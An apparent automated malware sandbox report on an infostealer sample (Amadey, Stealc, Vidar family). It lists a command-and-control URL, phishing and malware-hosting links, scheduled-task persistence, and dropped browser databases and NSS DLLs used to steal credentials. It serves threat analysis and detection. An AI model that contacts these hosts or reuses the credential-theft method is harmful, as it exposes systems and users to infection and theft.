business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardt
Execution Graph export aborted for target DocumentsKJEGDBKFIJ.exe, PID 8560 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8760 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8796 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:28:02	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
20:27:40	API Interceptor	141x Sleep call for process: file.exe modified
20:29:01	API Interceptor	111x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0 (6).eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	ap4pkLeaVp.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.161.69.8
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.161.69.30
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.161.69.117
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	18.165.220.57

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.4.28
	http://cpeciadogfoods.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.4.28
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	104.21.4.28
	file.exe	Get hash	malicious	Unknown	Browse	172.67.131.149
	https://t.co/nq9BYOxCg9	Get hash	malicious	HTMLPhisher	Browse	162.159.140.229
	https://click.fastfilecourier.com/e/1087572/fqaOLKXX-Recipient-Email/dj2mqv/1468399888/h/Y-yN6gqmGvYCu8zFF1OIkot2fiqMtp1_384E9evvRdc	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	GalaxyPr00j33ct2.53v.exe	Get hash	malicious	LummaC Stealer, MicroClip	Browse	104.21.94.158
	GalaxyPr00j33ct2.53v.exe	Get hash	malicious	MicroClip	Browse	104.21.94.158
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://myfreightstaffcom-my.sharepoint.com/:o:/g/personal/ron_myfreightstaff_com/EnRigj2x_19FkMo3-0FmKN8BQntw8FzTf16WsAty_W7fCg?e=XbFTvn	Get hash	malicious	Unknown	Browse	52.108.8.12
	arm7.elf	Get hash	malicious	Mirai	Browse	138.91.104.211
	spc.elf	Get hash	malicious	Mirai	Browse	138.91.104.211
	m68k.elf	Get hash	malicious	Mirai	Browse	147.145.171.247
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	i686.elf	Get hash	malicious	Unknown	Browse	20.94.237.206
	arm.elf	Get hash	malicious	Unknown	Browse	22.209.154.185
	mips.elf	Get hash	malicious	Unknown	Browse	20.73.97.130

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 20.109.210.53 13.107.246.63 184.30.17.174 20.231.128.67
	http://cpeciadogfoods.com	Get hash	malicious	Unknown	Browse	4.245.163.56 20.109.210.53 13.107.246.63 184.30.17.174 20.231.128.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 20.109.210.53 13.107.246.63 184.30.17.174 20.231.128.67
	https://myfreightstaffcom-my.sharepoint.com/:o:/g/personal/ron_myfreightstaff_com/EnRigj2x_19FkMo3-0FmKN8BQntw8FzTf16WsAty_W7fCg?e=XbFTvn	Get hash	malicious	Unknown	Browse	4.245.163.56 20.109.210.53 13.107.246.63 184.30.17.174 20.231.128.67
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 20.109.210.53 13.107.246.63 184.30.17.174 20.231.128.67
	https://t.co/nq9BYOxCg9	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 20.109.210.53 13.107.246.63 184.30.17.174 20.231.128.67
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUMjlDUzRPSFpCUFlQWUFMOUs0ODBFUUZITi4u	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 20.109.210.53 13.107.246.63 184.30.17.174 20.231.128.67
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 20.109.210.53 13.107.246.63 184.30.17.174 20.231.128.67
	XiaobingOnekey.exe	Get hash	malicious	Unknown	Browse	4.245.163.56 20.109.210.53 13.107.246.63 184.30.17.174 20.231.128.67
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	4.245.163.56 20.109.210.53 13.107.246.63 184.30.17.174 20.231.128.67
6271f898ce5be7dd52b0fc260d0662b3	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.199.58.43 150.171.28.10 20.223.35.26
	https://clickme.thryv.com/ls/click?upn=u001.5-2B1Zlj-2BwCegXqgd6Um7kY0JRT8UgUE3u1rWR4YFASxlUU28BkvglW4Sw74FAirirfRSk_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQjRRfcuGnHeO06MZmpQ9Md6EqF3tHpTnJtwnRl07eBC-2BbeqGDZkqEsFQ9fh8CwKb92GLRs9xjA4K3L0qiP8u-2BrdM8wHoplpWV7e4Ic88yYySdEC6BFxZgKH7uN8ysaI5ELMcoW165-2BlUHwvAK7b88Y-2FPYUokK9PeBa-2FcZkvlS9nh3pVTeDrVNhWWvISMX1rFpeltySyG2xWyMwf0YLv9gS0X1AE0s7oDERqOcaTwfLsXQxoV99DX1bVNLU7d5FQCgc-3D#C?email=heath.teresa@aidb.org	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 150.171.28.10 20.223.35.26
	Order Summary.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 150.171.28.10 20.223.35.26
	container payment.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 150.171.28.10 20.223.35.26
	oDisjCYpOP	Get hash	malicious	Xmrig	Browse	150.171.27.10 20.199.58.43 150.171.28.10 20.223.35.26
	https://application-submit.com/form/redbull	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.199.58.43 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.199.58.43 150.171.28.10 20.223.35.26
	GasProcessingPlantReportOfReceipts.xlsm	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 150.171.28.10 20.223.35.26
	CUVAs_ Closing Doc_ The Abram Law Group #RDZ-01.eml	Get hash	malicious	CredentialStealer, HTMLPhisher	Browse	150.171.27.10 20.199.58.43 150.171.28.10 20.223.35.26

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAEGHJKJKKJDHIDHJKJDBGCGCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFHCBKKFIJJJECAAFCGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GCGHJEBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676966633790303
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMcSA1LyKOMq+8iP5GDHP/0jMVumxx:Kq+n0Jc91LyKOMq+8iP5GLP/0Ux
MD5:	D1EB013834E28A3CCC43D51775FB47B0
SHA1:	717FADF13688E04AC722B0F9340F5A28F04BB630
SHA-256:	691D235973F8D69993734E85C620CB899859477091E4E20C56947CA5972D1DCA
SHA-512:	169FA7D5CCB724581C6D5CF590F09681C1AEAE97272282C2E88068FD60D3EFE9B3D331E0D9B7ABF385E908FA7428E18E3D3358237841B35E4AA14AAF9483C973
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAAEGIJKEGHIDGCBAEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCBFHJDHJJKFIDBGIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJEHIDHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKFIIIJJKJJKEBGIDGCAEGCGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
